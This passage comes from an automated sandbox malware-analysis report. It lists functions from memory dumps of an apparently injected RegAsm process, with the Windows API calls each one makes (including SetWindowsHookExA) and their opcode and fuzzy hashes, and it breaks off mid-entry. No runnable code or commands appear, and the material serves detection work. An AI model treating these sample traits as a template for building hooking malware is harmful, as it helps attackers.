Instruction Fuzzy Hash: 5321E6B5D002489FDB10CFAAD984ADEFFF4EB48314F14841AE955A3311D374A944CFA5

Function 061D6478 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 061D64FF

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7695ca047260a3c1995b3f28847831097d6a4dca5effe4dcb7614512da17f02c
Instruction ID: 1acb5791d86f303dead96acce2683c8588edc41cbb2e5a9ed7c389a17cb60166
Opcode Fuzzy Hash: 7695ca047260a3c1995b3f28847831097d6a4dca5effe4dcb7614512da17f02c
Instruction Fuzzy Hash: E121E2B5D002489FDB10CFAAD984ADEFBF4EB48324F14841AE918A3310D378A944CFA5

Function 061D9BA9 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 061D9C2B

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: fdf6b1187b253e432756cd2ff8af6ab77961803274d56bc75261787cd6f53576
Instruction ID: 4f42ed273ac7d35476800fabb5fc7ffaf49a7de9aba3ea8ae0d377becf41b528
Opcode Fuzzy Hash: fdf6b1187b253e432756cd2ff8af6ab77961803274d56bc75261787cd6f53576
Instruction Fuzzy Hash: AB2113B5D002099FDB14CFAAD944BEEFBF4AB88310F14882AE419A7250C774A944CFA5

Function 061D9BB0 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 061D9C2B

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 96ed44ab9dbf2cbe80816085859b524e613de87282f2b394e53e1e1fe7c5fafe
Instruction ID: 73f867001cffd8ec268c5e852db3d0372ce37dba38d95a285b3f53133e87091e
Opcode Fuzzy Hash: 96ed44ab9dbf2cbe80816085859b524e613de87282f2b394e53e1e1fe7c5fafe
Instruction Fuzzy Hash: 642136B5D002088FDB14CF9AD944BEEFBF4FB88310F14882AE419A7250C774A944CFA5

Function 00E5EA90 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00E5EAF7

Memory Dump Source

Source File: 00000003.00000002.3676670526.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e50000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 83cfcba57f6ec9c14b2369ed3344277b2a2ba7ca064cbe2b8bff31d09f4759c3
Instruction ID: 1ab6a1fb5cc0c02c111042ccd597526fc1a9c73ed242b241994ac71e83080de9
Opcode Fuzzy Hash: 83cfcba57f6ec9c14b2369ed3344277b2a2ba7ca064cbe2b8bff31d09f4759c3
Instruction Fuzzy Hash: 8E1114B6C006599FDB14CF9AD444BDEFBF4AB48324F14852AE818B7340D378A944CFA5

Function 061D6203 Relevance: 1.5, APIs: 1, Instructions: 49comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 061D7F75

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f59bdc71a9d78cc54196a26f4838e1db7c82a4e2aff7caf9f2297ef5a0f99675
Instruction ID: 3d87db0ed5d9af9d1cffaf3040d3be1e74d0642206d0ee5f07aadd57d98c6594
Opcode Fuzzy Hash: f59bdc71a9d78cc54196a26f4838e1db7c82a4e2aff7caf9f2297ef5a0f99675
Instruction Fuzzy Hash: 071155B58043888FDB20CFAAD844B9EBFF4EB08224F14845AE458A7351C378A544CBA9

Function 061D14EA Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 061D1556

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 16372cd6a0e0493664fff85e94157173f23ee492d3f402f781435e4a4748af6b
Instruction ID: ba5e233aecbe28b222cd6109c6f6172c74fadd982cbc861c7e0e0e4e4effabfe
Opcode Fuzzy Hash: 16372cd6a0e0493664fff85e94157173f23ee492d3f402f781435e4a4748af6b
Instruction Fuzzy Hash: 571132B6C002489FDB24CF9AD844ACEFBF4EB49210F10841AD41AB7210C378A545CFA1

Function 061D14F0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 061D1556

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f9e161de6123753fbc8e33b2759ab3f1c3a753c90ca20b41ac4d6959e60f1e72
Instruction ID: e0593b23cd2cb30193c506cdd5485544f0d9ae1feb031f49ef53ec691ca9b8ba
Opcode Fuzzy Hash: f9e161de6123753fbc8e33b2759ab3f1c3a753c90ca20b41ac4d6959e60f1e72
Instruction Fuzzy Hash: A51113B6C002498FDB10CF9AD844BDEFBF4EB49214F14841AD419B7210C379A545CFA5

Function 061D620C Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 061D7F75

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5d9eb58b80f5210776d2abb9eb29c734ca32c061310455c7fa8fd55e1bc0f02f
Instruction ID: 6d1f2d2d5ef844cdec263fc181d0f206da8e4b956dade3a66de45ef348a93acc
Opcode Fuzzy Hash: 5d9eb58b80f5210776d2abb9eb29c734ca32c061310455c7fa8fd55e1bc0f02f
Instruction Fuzzy Hash: 9A1112B5C047488FDB20DF9AD944BDEFBF4EB48224F24841AE519A7750C378A944CFA9

Function 061D5FD4 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,061D7625), ref: 061D76AF

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8c7bff4c0610bd49ad4dd900db3c5d8aa9c4c8a31e46291a2ae344f0d2645402
Instruction ID: 5e0f56f9ea183ed0010a7a4d837acde7cdb2d9ab86d9700d8dea8348ed7bda92
Opcode Fuzzy Hash: 8c7bff4c0610bd49ad4dd900db3c5d8aa9c4c8a31e46291a2ae344f0d2645402
Instruction Fuzzy Hash: 3211F5B5C002898FDB60DF9AD944B9EFBF4EB48314F20841AE519A7350D374A944CBA5

Function 061D7649 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,061D7625), ref: 061D76AF

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: e57efc6d51e59492a521d293e62e64d34467398bee8d100ecf28db43296cedcd
Instruction ID: 7d0345297c17a8aa32036ca99110f1db38a12b0a620fbac6e396e5e2fc18b7c7
Opcode Fuzzy Hash: e57efc6d51e59492a521d293e62e64d34467398bee8d100ecf28db43296cedcd
Instruction Fuzzy Hash: CC1115B5C002488FDB20DF9AD944BDEFBF4EB48324F24841AE519A7750D374A544CFA5

Function 061D7F19 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 061D7F75

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c179578ce9ebad14b64262f02f4484fa16bbf54a1674d7aabea53a71e3a7e5a4
Instruction ID: 0a1269f0fcd75030ac302313b9fd168db21830d40a67ff8382e46628f6cd69b0
Opcode Fuzzy Hash: c179578ce9ebad14b64262f02f4484fa16bbf54a1674d7aabea53a71e3a7e5a4
Instruction Fuzzy Hash: F31115B5C003488FDB20CFAAD945BDEFBF4EB48224F148419E559A7350C778A544CFA5

Function 061EDAB5 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

PHq, xrefs: 061EDC11

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 9fbaf2e036eb19d4946722d69114171b2862c3fb9463e3d4afda777bac584430
Instruction ID: 9aa3a67dfe4ccd154b9e079e095940fd8a918224165342ad059d128bdbea0f16
Opcode Fuzzy Hash: 9fbaf2e036eb19d4946722d69114171b2862c3fb9463e3d4afda777bac584430
Instruction Fuzzy Hash: AD416074E00B099FDB64DF65D8546AEBBB2BF86740F20852AD406EB340EB70D946CB51

Function 061E21B5 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

PHq, xrefs: 061E2303

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 5e96c4b9631d6bcc4ea7ca169d8cd44445ed4dc369d8ddce6fa8074fef825340
Instruction ID: 688aee12b965774811c67958be568fc32aebaaf038c88971eec53832790fc926
Opcode Fuzzy Hash: 5e96c4b9631d6bcc4ea7ca169d8cd44445ed4dc369d8ddce6fa8074fef825340
Instruction Fuzzy Hash: 3531D030B006068FDB59AF74C86076E7BE7AB89310F2485A9D406DB395DF35CE02CBA1

Function 061E21C8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHq, xrefs: 061E2303

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 9ce5f8c5f6c1c20ce676b16801b727e245ef8780c25f9ee2651a22677f789b67
Instruction ID: 0d122e4110107171a118fd41a061d95b0c0cebce40e074063111837050f65ea0
Opcode Fuzzy Hash: 9ce5f8c5f6c1c20ce676b16801b727e245ef8780c25f9ee2651a22677f789b67
Instruction Fuzzy Hash: C631FE30B006068FDB58AB78C86476E7BE7BF89600B248469D406DB395DF35DE02CBA1

Function 061E61E8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4471e7f8085ca187ed127a1cf37b42cdd51ce1b0494d96fa729fcd2983ccf0c6
Instruction ID: e35d37e1be7ad9fb960201be723cb82186a470df58b48206e25b701baef7c5f1
Opcode Fuzzy Hash: 4471e7f8085ca187ed127a1cf37b42cdd51ce1b0494d96fa729fcd2983ccf0c6
Instruction Fuzzy Hash: B561C171F005214BDF509A7DC88069EBAD7AFE4620B594439D80AEB364DFB5EC4287D2

Function 061E4291 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5964897501e4eb4b474c9177bde82c391031af7aa5a0923063fb299eaeb8f311
Instruction ID: 2ff462404f408e8d5dc8169433cfc037669897780c16e111620815917c37915f
Opcode Fuzzy Hash: 5964897501e4eb4b474c9177bde82c391031af7aa5a0923063fb299eaeb8f311
Instruction Fuzzy Hash: C7812E34B006059FDB54DFB9D4907AEBBE2AF89300F148569E41AEB358EB74DC428791

Function 061E45B0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e31563ed1cb47ad470801d2d810e0b168d2872a107595b3605fc84aa9f4036
Instruction ID: f384cb1d96601388c728df798d50644eeadbefbe79ff0d7bc3cd5241ee0103f3
Opcode Fuzzy Hash: 55e31563ed1cb47ad470801d2d810e0b168d2872a107595b3605fc84aa9f4036
Instruction Fuzzy Hash: 55914C34E106198BDF60CF68C890B9DB7B1FF89310F208699D549AB385DB70AA85CB91

Function 061E45C8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a60e7ac72af3bca2ccbce09a463dd7733e0bece042693abf61c5473fe6fcca
Instruction ID: c83d8bf790d69542ed1e5c319094eb25b5cb8939a28e4e8d054978176f8e365b
Opcode Fuzzy Hash: f9a60e7ac72af3bca2ccbce09a463dd7733e0bece042693abf61c5473fe6fcca
Instruction Fuzzy Hash: C8911C34E106198BDF60DF68C890B9DB7B1FF89310F208699D549AB385DB70AA85CF91

Function 061EEB00 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46170f6eb65d9d49157ced84f0a0caa2a80ba3c911dec192e4c34d8ccdc8ccb
Instruction ID: 2c5a48bad5bf234d422e38d8aa2f74320b33ebda57da6a86460484607fde5761
Opcode Fuzzy Hash: e46170f6eb65d9d49157ced84f0a0caa2a80ba3c911dec192e4c34d8ccdc8ccb
Instruction Fuzzy Hash: 40714734E006099FDB54DFA8D980AADBBF6FF88310F248569E416EB355DB30E946CB50

Function 061EEB10 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 165149727e83c78b38cb86a68d6fc74f1dc25d69e40a7ceb036229b3f6eaa915
Instruction ID: 0b05d498564d127a9b3becb85123e6d3bdd0921b67d448a36fed693fbaee9880
Opcode Fuzzy Hash: 165149727e83c78b38cb86a68d6fc74f1dc25d69e40a7ceb036229b3f6eaa915
Instruction Fuzzy Hash: CC713834E006099FDB54DBA9D980AAEBBF6FF88310F248469E405EB355DB30ED46CB51

Function 061EFB98 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f0f98cd437c309c8089cbe8ef11039f3a09f63292431db66eef329fcdc5f05
Instruction ID: 5cbbd3deb3dde6a374883b0635f6bc99a02b434595bb963c68e830aea796b86b
Opcode Fuzzy Hash: f8f0f98cd437c309c8089cbe8ef11039f3a09f63292431db66eef329fcdc5f05
Instruction Fuzzy Hash: E251D035E00608DFDF64AFB8E4586ADBBB2FF84311F208869E906D7250DB35D946C780

Function 061EF949 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e435fd49a9a66296e31deccd631e0870966fb28261a3f4974b52121a9258b59f
Instruction ID: 21b7ba7a196853ee17e98b1d1a8adfef5eeb0422591b472a4c804919abdea021
Opcode Fuzzy Hash: e435fd49a9a66296e31deccd631e0870966fb28261a3f4974b52121a9258b59f
Instruction Fuzzy Hash: ED51C630F10705DFEF645A68D854B6F269AD789710F20446AE40BDB3A9CB6CCC4783A2

Function 061EF958 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e36abe8b8fafe1179c01c57cce45a3d5e121b2cb9491a48e6d51a00a28f886
Instruction ID: c052aa7535c6fb26acd7ec591213a6faf4f20e424ddb77fc2fa0ec8e98db3aa7
Opcode Fuzzy Hash: b3e36abe8b8fafe1179c01c57cce45a3d5e121b2cb9491a48e6d51a00a28f886
Instruction Fuzzy Hash: 3651B530F10705DFEF646A68D85476F269AD789750F60442AE80BDB3E9CB6CCC4783A2

Function 061E5409 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43098eb39607a3b58ab4f17c34063f48e11e78a17eca580420b6d40e1c8d0504
Instruction ID: b03481ed8df18ae03de4de912a9ee295aa406f63881d1eff34a804279c8dcd28
Opcode Fuzzy Hash: 43098eb39607a3b58ab4f17c34063f48e11e78a17eca580420b6d40e1c8d0504
Instruction Fuzzy Hash: 64418D31E00A099FDB70CEA9D881AAFFBF3EF84214F10492AE256D7650D331E9558B91

Function 061E2078 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f7f83246e4d048d4b1c64eb6d5c53e718fbe1b3c302185da8c2aa90f70a6d6
Instruction ID: 4182af6ff888f035ff246942082ee779bd1648143ad8891ab33c5e44ed92f4c4
Opcode Fuzzy Hash: b8f7f83246e4d048d4b1c64eb6d5c53e718fbe1b3c302185da8c2aa90f70a6d6
Instruction Fuzzy Hash: 17317E35E107058BDB49CFB4D86069EF7B6EF8A300F108559E516EB394DB70EA46CB50

Function 061E2088 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5403eec03d39b7e74caa1d3c4b0a2abdb2ddb35ccb8954d4d179a44aabd91d
Instruction ID: 62ab3f71931bd29f0bc138d94caef3908767437b832222d96360fe143b2c36c7
Opcode Fuzzy Hash: 3e5403eec03d39b7e74caa1d3c4b0a2abdb2ddb35ccb8954d4d179a44aabd91d
Instruction Fuzzy Hash: 73318B31E10B058BDB19CFA4D86469EB7B6EF89300F108529E906EB350EB71EE42CB50

Function 061E3A91 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8447de2e2275cae2b356f35a4dbcbae2d284e67984a32ef0cf5fd96d6ef7eeb
Instruction ID: 1e272b00bff060d7b278b4c51f97b80783dea9ada56fc173ef83333a19980032
Opcode Fuzzy Hash: d8447de2e2275cae2b356f35a4dbcbae2d284e67984a32ef0cf5fd96d6ef7eeb
Instruction Fuzzy Hash: 9F219F75E01A059FDB50DF69D880AEEBBF5EB88310F208465E915E7394EB30D9408B90

Function 061E3AA0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e10f7d54edff93f52c396e182cf0185f29006de0abd1de33f38be0f691c90c4
Instruction ID: 577f81a3ca16e1fd8f06b998dae3fda7cfe9d0108b13a40a2bfc424d0d8474ac
Opcode Fuzzy Hash: 9e10f7d54edff93f52c396e182cf0185f29006de0abd1de33f38be0f691c90c4
Instruction Fuzzy Hash: 30214F75E00A159FDB50EF69D880AAEBBF5FB88310F248465E915E7394E731D9408B90

Function 00DED005 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ab47c49ef4b72eebcbeb0815252dc6bb3c4690108b4a83d20e9fd4ef6f76df
Instruction ID: 1408c6d6f0ce10283adb1216c979067a69052e53ca0e0e60d46fc146e44b3823
Opcode Fuzzy Hash: 13ab47c49ef4b72eebcbeb0815252dc6bb3c4690108b4a83d20e9fd4ef6f76df
Instruction Fuzzy Hash: 0531097150D7C09FCB039B24D994711BF71AB47214F2D85EBD8898F2A7C62A980ACB62

Function 00DED3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d513248d9c4e062414bf40487ba737519ddef6ed24398ad28da1e717f19c1401
Instruction ID: 4736127974db661ddda5e7520e09d0ece6456dd1357d20806cab0031780f4ebe
Opcode Fuzzy Hash: d513248d9c4e062414bf40487ba737519ddef6ed24398ad28da1e717f19c1401
Instruction Fuzzy Hash: 11210475504384EFDB14EF21D9C0B26BBA2FB94314F24C56DE8494F282CB76E846CA72

Function 00DED20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57dd8ac10937591c9a515f60390d74ed9e1c58fd25a8ede89a80a7045695dc9a
Instruction ID: b220ec6b7e9cb3ba80ff4dc9ee00765dd16e6e5b388bccba63e0f2e2e78a37bb
Opcode Fuzzy Hash: 57dd8ac10937591c9a515f60390d74ed9e1c58fd25a8ede89a80a7045695dc9a
Instruction Fuzzy Hash: F3213871904384EFDB11EF11D9C4B26BBA6FB84324F24C569EA490F241C776D846CA76

Function 00DED044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb41cbc17df9e0260b4820a5c4661dea47bf4c77ed0bd7b1e3814087fb087c8
Instruction ID: 2b513a1928dcf0fbb1894af3a5f466abf10086347e07ce7efbf9e776eb5ab01a
Opcode Fuzzy Hash: 1fb41cbc17df9e0260b4820a5c4661dea47bf4c77ed0bd7b1e3814087fb087c8
Instruction Fuzzy Hash: B121C571504384AFDB14EF21D9C4B16BBA6FB84314F28C56DE9494B291CB36D847CA72

Function 061E6D10 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9982804d8793919e855bb709e3fea0e38799c05e5286d6b05250029f025991dd
Instruction ID: 6310e95d2fd55dcbcaff2c20dfda8a687ff58331beb52b6bb219491ddde3f628
Opcode Fuzzy Hash: 9982804d8793919e855bb709e3fea0e38799c05e5286d6b05250029f025991dd
Instruction Fuzzy Hash: B221E434B105189BDF58EB6DE8506AEBBA7EB85310F608465E409EB384DB31ED41CBD0

Function 061E41F0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aee052c184b45bfe2355e711d507527bc2c4f426c3414e1fcaea089654eb59f
Instruction ID: 08ba6759976e5162b31c02b54089d9c99d8456d76746c4d50812a58344ca4c7e
Opcode Fuzzy Hash: 5aee052c184b45bfe2355e711d507527bc2c4f426c3414e1fcaea089654eb59f
Instruction Fuzzy Hash: CF012838B006111FDB61C5BCA811B6BBBD7DBCA310F14886EF10EC7391DA65DC4243A1

Function 061E3BB0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11fc566426c2c8384ae79d6712b5d17962af4ab6791a3b35ec52757751fa0a3c
Instruction ID: 543eb8845ec6ecfa682ac235b65417854f4e8b23f0e112085a58e65b96e6e10f
Opcode Fuzzy Hash: 11fc566426c2c8384ae79d6712b5d17962af4ab6791a3b35ec52757751fa0a3c
Instruction Fuzzy Hash: 2311A131B005288FDB989A6CC8646AF77ABEBC8710F11857AD416E7344EF64DD028791

Function 061EED81 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

